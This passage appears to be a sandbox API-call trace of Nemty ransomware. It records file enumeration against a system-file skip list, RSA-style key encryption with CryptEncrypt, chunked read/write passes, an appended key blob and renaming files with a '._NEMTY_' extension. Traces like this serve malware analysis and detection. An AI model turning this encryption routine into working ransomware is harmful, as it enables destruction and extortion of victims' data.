dwReserved1=0x4f90000, cFileName="btn_close_up.png", cAlternateFileName="")) returned 1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2=".") returned 1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="..") returned 1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="...") returned 1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="windows") returned -1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="$RECYCLE.BIN") returned 1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="rsa") returned -1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="NTDETECT.COM") returned -1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="ntldr") returned -1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="MSDOS.SYS") returned -1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="IO.SYS") returned -1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="boot.ini") returned 1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="boot.ini") returned 1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="AUTOEXEC.BAT") returned 1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="ntuser.dat") returned -1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="desktop.ini") returned -1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="CONFIG.SYS") returned -1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="RECYCLER") returned -1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="BOOTSECT.BAK") returned 1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="bootmgr") returned 1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="programdata") returned -1 [0158.828] lstrcmpiW (lpString1="btn_close_up.png", lpString2="appdata") returned 1 [0158.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_up.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0158.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_up.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_up.png", lpUsedDefaultChar=0x0) returned 16 [0158.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0158.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_up.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0158.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_up.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_up.png", lpUsedDefaultChar=0x0) returned 16 [0158.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0158.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_up.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0158.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_up.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_up.png", lpUsedDefaultChar=0x0) returned 16 [0158.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_up.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0158.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0158.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_up.png", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_up.png", lpUsedDefaultChar=0x0) returned 16 [0158.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0158.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0158.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340178 [0158.829] Sleep (dwMilliseconds=0x5) [0158.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x125234f0, dwHighDateTime=0x1d561e8)) [0158.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x125234f0, dwHighDateTime=0x1d561e8)) [0158.837] GetLastError () returned 0x5 [0158.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0158.837] GetLastError () returned 0x5 [0158.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0158.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0158.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0158.837] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0158.837] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0158.837] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0158.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340220 [0158.837] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340220, pcchString=0x653e91c | out: pszString="7OnOIOjeyxtyuhJe0tpyFOGcdYfDLe1RAGmDAB8ti5JWio8YNv/+LgfE+E0CXAKF\r\nYMsivgEox1AJlVmZDJoqNNrexcO3r94nlXyqCN/i/vinwcnZ2I6oE5vRl79Ww4L/\r\nN6ZlEPPxDhGSxdA/v0sKUNaz06LSWE8M5H4IkGnGcsbbhzkqdANtadgCxIphpuHV\r\nx51+nIfX895BkKZZCdVBSmXR4vQlU5zDlQKaNzokGN3AJP6yVR0vImefXPtD3yfK\r\n9unKMZrpOkSy3cT1g/1wJb1W/8x55fIA0Yp9Z53LcL6AufrXrqc9LM17ZQgMuemp\r\n5wuqnoWHcijHnrjJyuuhNA==\r\n", pcchString=0x653e91c) returned 1 [0158.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0158.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0158.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0158.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0158.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340220 [0158.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0158.838] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0158.838] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0158.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0158.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.848] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.857] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.894] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.894] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.903] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.903] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.912] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.922] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.922] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.937] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340220, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0158.943] CloseHandle (hObject=0xffffffff) returned 0 [0158.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340390 [0158.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0158.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0158.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0158.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0158.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340438 [0158.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340438 | out: hHeap=0x4f90000) returned 1 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0158.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_up.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_up.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_up.png._nemty_kgobjgd_")) returned 0 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340390 | out: hHeap=0x4f90000) returned 1 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0158.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.944] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875e4f86, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875e4f86, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af2dddd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf5, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="btn_search_down.png", cAlternateFileName="")) returned 1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2=".") returned 1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2="..") returned 1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2="...") returned 1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2="windows") returned -1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2="$RECYCLE.BIN") returned 1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2="rsa") returned -1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2="NTDETECT.COM") returned -1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2="ntldr") returned -1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2="MSDOS.SYS") returned -1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2="IO.SYS") returned -1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2="boot.ini") returned 1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2="boot.ini") returned 1 [0158.944] lstrcmpiW (lpString1="btn_search_down.png", lpString2="AUTOEXEC.BAT") returned 1 [0158.945] lstrcmpiW (lpString1="btn_search_down.png", lpString2="ntuser.dat") returned -1 [0158.945] lstrcmpiW (lpString1="btn_search_down.png", lpString2="desktop.ini") returned -1 [0158.945] lstrcmpiW (lpString1="btn_search_down.png", lpString2="CONFIG.SYS") returned -1 [0158.945] lstrcmpiW (lpString1="btn_search_down.png", lpString2="RECYCLER") returned -1 [0158.945] lstrcmpiW (lpString1="btn_search_down.png", lpString2="BOOTSECT.BAK") returned 1 [0158.945] lstrcmpiW (lpString1="btn_search_down.png", lpString2="bootmgr") returned 1 [0158.945] lstrcmpiW (lpString1="btn_search_down.png", lpString2="programdata") returned -1 [0158.945] lstrcmpiW (lpString1="btn_search_down.png", lpString2="appdata") returned 1 [0158.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0158.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_down.png", lpUsedDefaultChar=0x0) returned 19 [0158.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: 